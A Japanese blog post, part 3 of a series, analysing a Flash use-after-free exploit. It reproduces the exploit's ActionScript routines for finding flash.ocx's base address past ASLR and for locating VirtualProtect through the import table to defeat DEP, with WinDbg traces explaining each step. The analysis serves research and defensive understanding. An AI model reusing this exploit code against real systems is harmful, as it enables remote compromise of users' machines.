Deep Dive into Exploit of Use-After-Free Vulnerability – 3

前回の記事で、脆弱性を利用してメモリの制御を奪うことまでできました。次にすることは、ROP (Return Oriented Programming) を行うための材料を集めます。ここで集めた材料を使って偽のスタック バッファーを作り、vtable を改竄して eip レジスターを乗っ取れば ROP は成功です。

2. ASLR 回避とインポート テーブル検索

ここで欲しいのは以下の情報です。

  • flash.ocx のベース アドレス
    → インポート テーブルから VirtualProtect API のアドレスを入手。コード領域の 0xC394 という部分を探すのにも使う。
  • VirtualProtect API のアドレス
    → DEP を回避し、Private Data 内に流し込んだペイロードを実行可能とマークするために必要。

上記の数値を取得するためには、ASLR でランダム化された flash.ocx のベースアドレスを探さないといけません。しかし、既にほぼ全てのメモリへアクセスが可能になっているので、既知のパターンに基づいてメモリ内を検索するだけでよく、ASLR 回避はそれほど難しいことではありません。前回指摘したように、配列の長さの次に保存されている vtable の値を使うこともできそうです。ベース アドレスさえ見つけてしまえば、あとは PE イメージの構造に基づいてコード領域やインポート テーブルを解析できるので、欲しい情報が入手できます。

と、言うわけで、今回はひたすら PE イメージの構造を解析します。分かれば単純なロジックですし、使い回せそうなコードですが、これを 1 から書いた人はやはり強者・・。

/*
*  Get flash module base address
*  index: index of vectors table
*  cvaddr: corrupted vector address
*/
public function getFlashBaseAddr(index:uint, cvaddr:uint):Array {
  var baseflashaddr_off:uint = 0;
  var j:int = 0;
  var k:int = 0;
  var kmax:uint = 0;
  var vtableobj:int = 0;
  var ocxinfo:Array = new Array();

  while (1) {
    if (this.s[index][j] == 0x00010c00) {
      vtableobj = this.s[index][j+0x08] & 0xFFFF0000;

      /* Get ocx base address */
      k = 0;
      while (1) {
        if (this.s[index][(vtableobj-cvaddr-k)/4 – 2] == 0x00905A4D) {
          baseflashaddr_off = (vtableobj-cvaddr-k)/4 – 2;
          ocxinfo[0] = baseflashaddr_off;
          ocxinfo[1] = j;
          ocxinfo[2] = k;
          ocxinfo[3] = vtableobj;
          return ocxinfo;
        }

        k = k + 0x1000;
      }
    }

    j = j + 0x1;
  }

  return ocxinfo;
}

flash.ocx のベース アドレスを取得するロジックは getFlashBaseAddr() です。この中で最初にすることは、0x00010c00 という DWORD 値を見つけることです。以下は 1a000000 から検索していますが、実際にアクセス可能なのは 1a001008 からです。

0:028> s -d 1a000000 l1000000 0x00010c00
0:028> s -d 1e000000 l1000000 0x00010c00
0:028> s -d 22000000 l1000000 0x00010c00
2272f000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
22733000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
22805000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
229d6000  00010c00 00000fe0 07c53000 07c47068  ………0..hp..
25393000  00010c00 00001fe0 07c53000 07c47068  ………0..hp..
253b3000  00010c00 00004fe0 07c53000 07c47068  …..O…0..hp..
253b8000  00010c00 00004fe0 07c53000 07c47068  …..O…0..hp..
0:028> dd 2272f000 l10
2272f000  00010c00 00000fe0 07c53000 07c47068
2272f010  08387000 2272f018 00000010 00000000
2272f020  70bc6234 00000080 07d2e400 07d32400
2272f030  00000019 00000050 00000000 00000000
0:028> dd 22733000  l10
22733000  00010c00 00000fe0 07c53000 07c47068
22733010  2272f000 22733018 00000018 00000000
22733020  70bc5dc8 07fb9e50 07e52790 07ca9cf0
22733030  07fb08a0 00000000 00000022 00000000
0:028> dd 70bc6234
70bc6234  709871c0 7097c8b0 00000000 00000000
70bc6244  00000000 00000000 00000000 00000000
0:028> u 709871c0
Flash!IAEModule_AEModule_PutKernel+0x304ae0:
709871c0 55              push    ebp
709871c1 8bec            mov     ebp,esp
709871c3 f6450801        test    byte ptr [ebp+8],1
709871c7 56              push    esi
709871c8 8bf1            mov     esi,ecx
709871ca 8bc6            mov     eax,esi
709871cc c706f066a570    mov     dword ptr [esi],offset Flash!IAEModule_IAEKernel_UnloadModule+0x1ca
50 (70a566f0)
709871d2 7410            je      Flash!IAEModule_AEModule_PutKernel+0x304b04 (709871e4)
0:028> dd 70bc5dc8
70bc5dc8  709871c0 70920ae0 709871c0 70920b30
70bc5dd8  709787d0 70920a10 75746572 74206e72
70bc5de8  73657079 6e6f6420 616d2074 0a686374
70bc5df8  00000000 76202020 20747269 00000000
0:028> u 709871c0
Flash!IAEModule_AEModule_PutKernel+0x304ae0:
709871c0 55              push    ebp
709871c1 8bec            mov     ebp,esp
709871c3 f6450801        test    byte ptr [ebp+8],1
709871c7 56              push    esi
709871c8 8bf1            mov     esi,ecx
709871ca 8bc6            mov     eax,esi
709871cc c706f066a570    mov     dword ptr [esi],offset Flash!IAEModule_IAEKernel_UnloadModule+0x1ca
50 (70a566f0)
709871d2 7410            je      Flash!IAEModule_AEModule_PutKernel+0x304b04 (709871e4)

0x00010c00 の 8*sizeof(uint) バイト後にある DWORD (70bc6234 や70bc5dc8) を利用するわけですが、どれも vtable になっているようです。0x00010c00 とは何で、どうして 32 バイト後に vtable があるのかは不明です。既知の情報として、ActionScript を使った exploit ではいろいろ使えそうですが、そもそもどうやってこの情報を知り得たのかが気になります。

次のステップは、70bc6234 の下位 WORD を 0 クリアして、"this.s[index][(vtableobj-cvaddr-k)/4 – 2] == 0x00905A4D" という条件に満たす k を探します。vtableobj は 70bc0000 で、cvaddr は 1a001000 なので、左辺は this.s[index][(70bc0000-k-1a001008)/4] です。

ここで this.s の使い方を再考します。これは長さが 3fffffff に延長された配列で、そのアドレス位置は 1a001008 でした (長さを示す DWORD が 1a001000 にあり、その 8 バイト後から実データが始まるため)。したがって、this.s[index][x] という要素にアクセスすると、1a001008+x*4 のアドレスにある DWORD 値を参照していることになります。ここで、1a001008+x*4 = y ⇔ x = (y-1a001008)/4 なので、逆にアドレスが y にある DWORD 値を参照したければ、this.s[index][ (y-1a001008)/4] にアクセスすればよいことになります。

this.s[index][x] → 1a001008+x*4 にある DWORD 値
this.s[index][(y-1a001008)/4] → y にある DWORD 値

上記を当てはめると、左辺は 70bc0000-k というアドレスにある DWORD 値を比較しています。次に右辺ですが、これは MS-DOS 実行可能ファイルの先頭にある、いわゆる "MZ" ヘッダーです。

0:028> lm m kernel32
start    end        module name
77ad0000 77c00000   kernel32   (deferred)
0:028> db 77ad0000 l20
77ad0000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
77ad0010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….
0:028> lm m iexplore
start    end        module name
01210000 012cc000   iexplore   (deferred)
0:028> db 01210000 l20
01210000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ…………..
01210010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ……..@…….

70bc0000-k のアドレスにある値を比較しつつ、k を 0x1000 ずつ増やしているので、これは vtable を含んでいるページから上の方に向って MZ ヘッダーを探していることが分かります。vtable はイメージ ファイルの中 (.rdata セクションあたり) に含まれているので、vtable のアドレスから上に向って MZ ヘッダーを探していけば、そのイメージのベース アドレスが見つかるというわけです。確率は低いですが、もし、先頭が MZ ヘッダーと同じであるページがベース アドレス以外に存在すると、このロジックは使えません。事前に手元の flash.ocx を使って同様の探索をしておき、ベースアドレスではない 0x00905A4D をスキップする処理を追加する必要があります。

getFlashBaseAddr() はベース アドレスを見つけると、4 つの値を配列に入れて返します。この方法は分かりにくいのでデザイン的にあまり好きじゃない・・・。今回紹介する VirtualProtect の探索だけでなく、後でコード領域を検索するときにも使います。

ocxinfo[0] = baseflashaddr_off; <<<< ベースアドレスにアクセスするための配列のインデックス
ocxinfo[1] = j; <<<< 0x00010c00 があるアドレスにアクセスするための配列のインデックス
ocxinfo[2] = k; <<<< vtableobj-k がflash.ocx のベースアドレスになる
ocxinfo[3] = vtableobj; <<<< vtable が存在する、flash.ocx イメージ内のページの先頭アドレス

いずれにしろ、ASLR でランダム化された flash.ocx の位置をつきとめました。次に、ここで得られた値使って getK32Index() を呼びます。関数名にある K32 とは kernel32.dll のことを示しており、getK32Index は、flash.ocx のインポート テーブルを解析して Kernel32.dll のセクションを探す関数です。さらに getK32Index の次に実行される関数 GetVirtualProtectStubAddr は KERNEL32!VirtualProtectStub のアドレスを取得します。

getK32Index() を実行する前の下記 2 行は、PE イメージの構造に基づいて、MZ ヘッダーからインポート テーブルにたどり着くためのオフセットを取得しています。

/* Get imports table */
peindex = this.s[i2][baseflashaddr_off+0x3C/4];
importsindex = this.s[i2][baseflashaddr_off+peindex/4+(0x18+0x60+0x8)/4];

PE イメージの構造については、このへんを参考にしてください。

Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format
http://msdn.microsoft.com/en-us/magazine/cc301805.aspx

PE イメージは、ntdll!_IMAGE_DOS_HEADER 構造体で始まっており、MZ シグネチャーは e_magic です。1 行目のインデックスに含まれる 0x3C は、ntdll!_IMAGE_DOS_HEADER::e_lfanew へのオフセットを示しており、peindex には e_lfanew の値が入ります。

0:028> dt ntdll!_IMAGE_DOS_HEADER
   +0x000 e_magic          : Uint2B
   +0x002 e_cblp           : Uint2B
   +0x004 e_cp             : Uint2B
   +0x006 e_crlc           : Uint2B
   +0x008 e_cparhdr        : Uint2B
   +0x00a e_minalloc       : Uint2B
   +0x00c e_maxalloc       : Uint2B
   +0x00e e_ss             : Uint2B
   +0x010 e_sp             : Uint2B
   +0x012 e_csum           : Uint2B
   +0x014 e_ip             : Uint2B
   +0x016 e_cs             : Uint2B
   +0x018 e_lfarlc         : Uint2B
   +0x01a e_ovno           : Uint2B
   +0x01c e_res            : [4] Uint2B
   +0x024 e_oemid          : Uint2B
   +0x026 e_oeminfo        : Uint2B
   +0x028 e_res2           : [10] Uint2B
   +0x03c e_lfanew         : Int4B

e_lfanew は、PE ヘッダーへのオフセットを保持しています。したがって、2 行目のインデックスは、PE ヘッダーを起点として 0x18+0x60+0x8 をオフセットとするアドレスを参照しています。

PE ヘッダーは ntdll!_IMAGE_NT_HEADERS という構造体で表されます。0x18 は _IMAGE_OPTIONAL_HEADER までのオフセット、0x60 は _IMAGE_DATA_DIRECTORY の配列までのオフセットです。

0:028> lm m flash
start    end        module name
700c0000 70f1f000   Flash      (export symbols)       Flash.ocx
0:028> dt ntdll!_IMAGE_DOS_HEADER 700c0000 e_lfanew
   +0x03c e_lfanew : 0n352
0:028> dt ntdll!_IMAGE_NT_HEADERS
   +0x000 Signature        : Uint4B
   +0x004 FileHeader       : _IMAGE_FILE_HEADER
  +0x018 OptionalHeader   : _IMAGE_OPTIONAL_HEADER
0:028> dt ntdll!_IMAGE_NT_HEADERS 700c0000+0n352 OptionalHeader.
   +0x018 OptionalHeader  :
      +0x000 Magic           : 0x10b
      +0x002 MajorLinkerVersion : 0xc ”
      +0x003 MinorLinkerVersion : 0 ”
      +0x004 SizeOfCode      : 0x98d400
      +0x008 SizeOfInitializedData : 0x4cdc00
      +0x00c SizeOfUninitializedData : 0
      +0x010 AddressOfEntryPoint : 0x95ce97
      +0x014 BaseOfCode      : 0x1000
      +0x018 BaseOfData      : 0x990000
      +0x01c ImageBase       : 0x700c0000
      +0x020 SectionAlignment : 0x1000
      +0x024 FileAlignment   : 0x200
      +0x028 MajorOperatingSystemVersion : 6
      +0x02a MinorOperatingSystemVersion : 0
      +0x02c MajorImageVersion : 0
      +0x02e MinorImageVersion : 0
      +0x030 MajorSubsystemVersion : 6
      +0x032 MinorSubsystemVersion : 0
      +0x034 Win32VersionValue : 0
      +0x038 SizeOfImage     : 0xe5f000
      +0x03c SizeOfHeaders   : 0x400
      +0x040 CheckSum        : 0xd5074b
      +0x044 Subsystem       : 2
      +0x046 DllCharacteristics : 0x140
      +0x048 SizeOfStackReserve : 0x100000
      +0x04c SizeOfStackCommit : 0x1000
      +0x050 SizeOfHeapReserve : 0x100000
      +0x054 SizeOfHeapCommit : 0x1000
      +0x058 LoaderFlags     : 0
      +0x05c NumberOfRvaAndSizes : 0x10
      +0x060 DataDirectory   : [16] _IMAGE_DATA_DIRECTORY

DataDirectory って何じゃい、ということで MSDN を参照すると、ばっちり定義が書いてあります。ntdll!_IMAGE_DATA_DIRECTORY それぞれのサイズは 8 バイトなので、インデックスの最後の +0x8 とは、DataDirectory[1]、すなわち MSDN によると "Import table address and size" のようです。おお、インポート テーブルが出てきましたね。

IMAGE_DATA_DIRECTORY structure (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/ms680305(v=vs.85).aspx

デバッガーで DataDirectory を全部出力するとこんな感じです。

0:028> dt -a16 ntdll!_IMAGE_DATA_DIRECTORY 700c0000+0n352+0x18+0x60
[0] @ 700c01d8
———————————————
   +0x000 VirtualAddress   : 0xb73d60
   +0x004 Size             : 0x11d
[1] @ 700c01e0
———————————————
   +0x000 VirtualAddress   : 0xb73e80
   +0x004 Size             : 0x1f4
[2] @ 700c01e8
———————————————
   +0x000 VirtualAddress   : 0xd62000
   +0x004 Size             : 0xa6c48
[3] @ 700c01f0
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[4] @ 700c01f8
———————————————
   +0x000 VirtualAddress   : 0xd47200
   +0x004 Size             : 0x23e0
[5] @ 700c0200
———————————————
   +0x000 VirtualAddress   : 0xe09000
   +0x004 Size             : 0x555d0
[6] @ 700c0208
———————————————
   +0x000 VirtualAddress   : 0x991000
   +0x004 Size             : 0x1c
[7] @ 700c0210
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[8] @ 700c0218
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[9] @ 700c0220
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[10] @ 700c0228
———————————————
   +0x000 VirtualAddress   : 0xb624b0
   +0x004 Size             : 0x40
[11] @ 700c0230
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[12] @ 700c0238
———————————————
   +0x000 VirtualAddress   : 0x990000
   +0x004 Size             : 0xaf0
[13] @ 700c0240
———————————————
   +0x000 VirtualAddress   : 0xb73c44
   +0x004 Size             : 0x60
[14] @ 700c0248
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0
[15] @ 700c0250
———————————————
   +0x000 VirtualAddress   : 0
   +0x004 Size             : 0

!dh コマンドを使うと一発でここまでたどり着けます。dumpbin みたいなもんです。

0:028> !dh flash

File Type: DLL
FILE HEADER VALUES
     14C machine (i386)
       6 number of sections
(snip)
  B73D60 [     11D] address [size] of Export Directory
  B73E80 [     1F4] address [size] of Import Directory
  D62000 [   A6C48] address [size] of Resource Directory
       0 [       0] address [size] of Exception Directory
  D47200 [    23E0] address [size] of Security Directory
  E09000 [   555D0] address [size] of Base Relocation Directory
  991000 [      1C] address [size] of Debug Directory
       0 [       0] address [size] of Description Directory
       0 [       0] address [size] of Special Directory
       0 [       0] address [size] of Thread Storage Directory
  B624B0 [      40] address [size] of Load Configuration Directory
       0 [       0] address [size] of Bound Import Directory
  990000 [     AF0] address [size] of Import Address Table Directory
  B73C44 [      60] address [size] of Delay Import Directory
       0 [       0] address [size] of COR20 Header Directory
       0 [       0] address [size] of Reserved Directory
(snip)

ということで、getK32Index を実行する前の importsindex には、インポートテーブルへの RVA (=Relative Virtual Address) である B73E80 が入ります。

インポート テーブルの構造は、先述の MSDN のページにおける "The Section Table" の Fig.6 に記載があります。IMAGE_IMPORT_DESCRIPTOR の配列になっているようです。

IMAGE_SECTION_HEADER fields
http://msdn.microsoft.com/en-us/magazine/bb985997.aspx

なぜかユーザーモード デバッガーでは IMAGE_IMPORT_DESCRIPTOR の構造が見れません。カーネル デバッガーからは見えるようですが、そんなことをしなくても、SDK に含まれる winnt.h に定義があるので、それを利用します。

typedef struct _IMAGE_IMPORT_DESCRIPTOR {
    union {
        DWORD   Characteristics;
        DWORD   OriginalFirstThunk;
    } DUMMYUNIONNAME;
    DWORD   TimeDateStamp;
    DWORD   ForwarderChain;
    DWORD   Name;
    DWORD   FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR;
typedef IMAGE_IMPORT_DESCRIPTOR UNALIGNED *PIMAGE_IMPORT_DESCRIPTOR;

getK32Index() はこんな感じです。

/*
*  Find kernel32.dll index
*  index: index of vectors table
*  baseflashaddr_off: flash dll address offset
*  importsindex: offset to the imports table
*/
public function getK32Index(index:uint, baseflashaddr_off:uint, importsindex:uint):uint {
  var nameindex:uint = 0;
  var dllname:int = 0;
  var nameaddr:int = 0;
        
  do {
    nameaddr = this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4];
                  
    /* kernel32.dll not found */
    if (nameaddr == 0x0) break;

    dllname = readInt(this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
        this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
        (nameaddr % 4));

    /* Check kernel32.dll */
    if (dllname == 0x6E72656B || dllname == 0x4E52454B) {
      nameaddr = nameaddr + 4;
      dllname = readInt(this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
          this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
          (nameaddr % 4));

      if (dllname == 0x32336C65 || dllname == 0x32334C45) {
        nameaddr = nameaddr + 4;
        dllname = readInt (this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4],
            this.s[index][baseflashaddr_off+(nameaddr-(nameaddr % 4))/4+1],
            (nameaddr % 4));

        if (dllname == 0x6C6C642E || dllname == 0x4C4C442E) {
          return nameindex;
        }
      }
    }

    /* Next dll */
    nameindex = nameindex + 0x14;
  }
  while (1);

  return 0;
}

初めの this.s[index][baseflashaddr_off+importsindex/4+nameindex/4+0x0C/4]; ですが、nameindex は 0 から始まって、0x14 ずつ増加していきます。_IMAGE_IMPORT_DESCRIPTOR の定義によると、この構造体は DWORD 5 個分なので、0x14 は sizeof(_IMAGE_IMPORT_DESCRIPTOR) と一致します。したがって、各でスクリプターのオフセット 0xC の位置、Name の値を見ていることになります。

インポート テーブルについては、先述の MSDN の Part 2 で詳しく触れられています。2 つ目のリンク先にある "IMAGE_IMPORT_DESCRIPTOR Structure" の Name の部分を見ると、この値は RVA であり、イメージベースからのオフセットのようです。

Inside Windows: An In-Depth Look into the Win32 Portable Executable File Format, Part 2
http://msdn.microsoft.com/en-us/magazine/cc301808.aspx
http://msdn.microsoft.com/en-us/magazine/bb985996.aspx

実際にデバッガーから、インポート テーブルの各でスクリプターの Name を見てみると、いい感じに DLL 名が拾えます。

0:028> !! -ci "!dh flash" find "Import"
  B73E80 [     1F4] address [size] of Import Directory
       0 [       0] address [size] of Bound Import Directory
  990000 [     AF0] address [size] of Import Address Table Directory
  B73C44 [      60] address [size] of Delay Import Directory
.shell: Process exited
0:028> da /c 100 flash+poi(flash+B73E80+c+14*0)
70c34b78  "dwmapi.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*1)
70c34c1c  "api-ms-win-core-winrt-string-l1-1-0.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*2)
70c34c44  "api-ms-win-core-winrt-l1-1-0.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*3)
70c34cea  "VERSION.dll"
0:028> da /c 100 flash+poi(flash+B73E80+c+14*4)
70c34eb6  "WINMM.dll"

nameaddr を取った後に、readInt という関数を使って dllName を取得しています。メモリへアクセスする手段が uint の配列経由なので、nameaddr が DWORD にアラインされたアドレスを指しているのであれば、配列の要素がそのまま取りたい値になります。しかし、nameaddr がアラインされていない場合、そのアドレスから DWORD を取得するためには隣り合った二つの配列の要素を使って DWORD を組み立てないといけません。それが readInt です。

上記のデバッガーの出力でいえば、WINMM.dll がそれに当たります。文字列は 70c34eb6 から始まりますが、配列経由で持ってこれるのは、70c34eb4 にある 49570000 と、70c34eb8 にある 2e4d4d4e です。"57 49" と "4e 4d" をそれぞれから持ってきて繋げ、0x4d4e4957 という DWORD 値が readInt の戻り値になります。

0:028> db 70c34eb0 l20
70c34eb0  74 69 6f 6e 00 00 57 49-4e 4d 4d 2e 64 6c 6c 00  tion..WINMM.dll.
70c34ec0  d3 00 49 6e 74 65 72 6e-65 74 53 65 74 43 6f 6f  ..InternetSetCoo
0:028> dd 70c34eb0 l8
70c34eb0  6e6f6974 49570000 2e4d4d4e 006c6c64
70c34ec0  6e4900d3 6e726574 65537465 6f6f4374

比較式の右辺にある謎の定数は、DLL 名の一部を示しているはずです。これを ascii 文字に変換すると、"kernel32.dll" と "KERNEL32.dll" になります。大文字と小文字の両方に対応させているようです。丁寧ですね。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x6E72656B))
kern 
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x4E52454B))
KERN
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x32336C65))
el32
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x32334C45))
EL32
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x6C6C642E))
.dll
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x4C4C442E))
.DLL

getK32Index は、インポート テーブル内の kernel32.dll についてのデスクリプターの位置を返します。この値を使って次に実行されるのは GetVirtualProtectStubAddr です。

http://msdn.microsoft.com/en-us/magazine/bb985996.aspx の IMAGE_IMPORT_DESCRIPTOR をもう一度見ると、OriginalFirstThunk (offset: +0x0) に関数名の配列 (INT: Import Name Table)、FirstThunk (offset: +0x10) に関数アドレスの配列 (IAT: Import Address Table) が保存されているようです。

GetVirtualProtectStubAddr() を実行する前の以下の 2 行は、それぞれ Kernel32.dll の IAT と INT を取ってきています。

fct_addr_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4+0x10/4];
fct_name_offset = this.s[i2][baseflashaddr_off+importsindex/4+k32index/4];

GetVirtualProtectStubAddr は見た目がごちゃごちゃしていて読みにくそうな印象を受けますが、やっていることは getK32Index とほぼ同じです。第三引数である INT のエントリをチェックして、ある文字列が見つかったら、それに対応する IAT のエントリを返すだけです。

/*
*  Get VirtualProtectStub() addr
*/
public function GetVirtualProtectStubAddr(index:uint, baseflashaddr_off:uint, fct_addr_offset:uint, fct_name_offset:uint):uint {
  var fct_addr:uint = 0;
  var fct_name:uint = 0;
  var fct_name_struct:uint = 0;

  do {
    fct_addr = readInt(this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4],
        this.s[index][baseflashaddr_off+(fct_addr_offset-(fct_addr_offset % 4))/4+1],
        (fct_addr_offset % 4));
    fct_name_struct = readInt(this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4],
        this.s[index][baseflashaddr_off+(fct_name_offset-(fct_name_offset % 4))/4+1],
        (fct_name_offset % 4));

    /* VirtualProtectStub() not found */
    if (fct_addr == 0 || fct_name_struct == 0)
      break;

    if ((fct_name_struct & 0x80000000) != 0x80000000) {
      fct_name_struct = fct_name_struct + 2;
      fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
          this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
          (fct_name_struct % 4));
     
      /* Check VirtualProtect */
      if (fct_name == 0x74726956 || fct_name == 0x54524956) {
        fct_name_struct = fct_name_struct + 4;
        fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
            this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
            (fct_name_struct % 4));

        if (fct_name == 0x504c4155 || fct_name == 0x506c6175) {
          fct_name_struct = fct_name_struct + 4;
          fct_name = readInt(this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4],
              this.s[index][baseflashaddr_off+(fct_name_struct-(fct_name_struct % 4))/4+1],
              (fct_name_struct % 4));

          if (fct_name == 0x45544f52 || fct_name == 0x65746f72) {
            return fct_addr;
          }
        }
      }
    }

    /* Next Function() */
    fct_addr_offset = fct_addr_offset + 0x4;
    fct_name_offset = fct_name_offset + 0x4;
  } while (1);

  return 0;
}

条件式の右辺となっている定数を文字に変換すると、INT のうちエントリが VirtualProte で始まるものを探していることが分かります。これに合致するのは VirtualProtect API だけです。

PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x74726956))
Virt
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x54524956))
VIRT
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x504c4155))
UALP
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x506c6175))
ualP
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x45544f52))
ROTE
PS D:\MSWORK> [System.Text.Encoding]::ASCII.GetString([System.BitConverter]::GetBytes(0x65746f72))
rote

文字列を比較する前に、fct_name_struct の最上位ビットが 0 であることを確認していますが、これが必須かどうかは未確認です。INT に 0x80000000 を超える値が含まれることがあるのかもしれません。その後、fct_name_struct を +2 しています。INT のエントリは名前への RVA だけを保持しているのではなく、エントリの先頭 2 バイトは、序数を保持しています。エクスポート テーブルの序数は GetProcAddress に渡すこともできますが、インポート テーブルの序数は・・・何に使うんですかね。

image

デバッガーでも確かめます。といっても、getVirtualProtectStubAddr と同じことをするのは大変なので、逆に IAT から VirtualProtect のアドレスを見つけ、対応する INT のエントリーを確認します。序数も 059f で、上の Dependency Walker の表示と一致しています。

0:028> dd flash+B73E80+f0
70c33f70  00b742ac 00000000 00000000 00b75b32
70c33f80  00990238 00b746b0 00000000 00000000

0:028> da flash+00b75b32
70c35b32  "KERNEL32.dll"

0:028> !! -ci "dds flash+00990238  l100" find "Virtual"
70a50310  77af59b6 kernel32!VirtualQueryStub
70a50424  77af592e kernel32!VirtualAllocStub
70a50428  77af5961 kernel32!VirtualFreeStub
70a5043c  77af5994 kernel32!VirtualProtectStub
.shell: Process exited

0:028> ? 70a5043c-(flash+00990238)
Evaluate expression: 516 = 00000204
0:028> dd flash+00b742ac+204
70c344b0  00b77522 00b77534 00b77546 00b7755a
70c344c0  00b7756e 00b77582 00b77598 00b775b4

0:028> db flash+00b77522
70c37522  9f 05 56 69 72 74 75 61-6c 50 72 6f 74 65 63 74  ..VirtualProtect
70c37532  00 00 99 01 46 6f 72 6d-61 74 4d 65 73 73 61 67  ….FormatMessag
70c37542  65 41 00 00 92 01 46 6c-75 73 68 46 69 6c 65 42  eA….FlushFileB

なぜこんなに頑張って、VirtualProtect のアドレスが必要かというと、DEP を回避するためです。VirtualProtect は以下の MSDN にもあるように、ページの属性を変更する公開された API です。VirtualProtect を ROP chain に組み込むことで、任意のページに対して、PAGE_EXECUTE_READWRITE などのように実行可能な属性を与えることができます。スプレーした Heap の一部に対して VirtualProtect 呼ぶことで、DEP を無効化するのが目的です。

VirtualProtect function (Windows)
http://msdn.microsoft.com/en-us/library/windows/desktop/aa366898(v=vs.85).aspx

広告

コメントを残す

以下に詳細を記入するか、アイコンをクリックしてログインしてください。

WordPress.com ロゴ

WordPress.com アカウントを使ってコメントしています。 ログアウト / 変更 )

Twitter 画像

Twitter アカウントを使ってコメントしています。 ログアウト / 変更 )

Facebook の写真

Facebook アカウントを使ってコメントしています。 ログアウト / 変更 )

Google+ フォト

Google+ アカウントを使ってコメントしています。 ログアウト / 変更 )

%s と連携中

%d人のブロガーが「いいね」をつけました。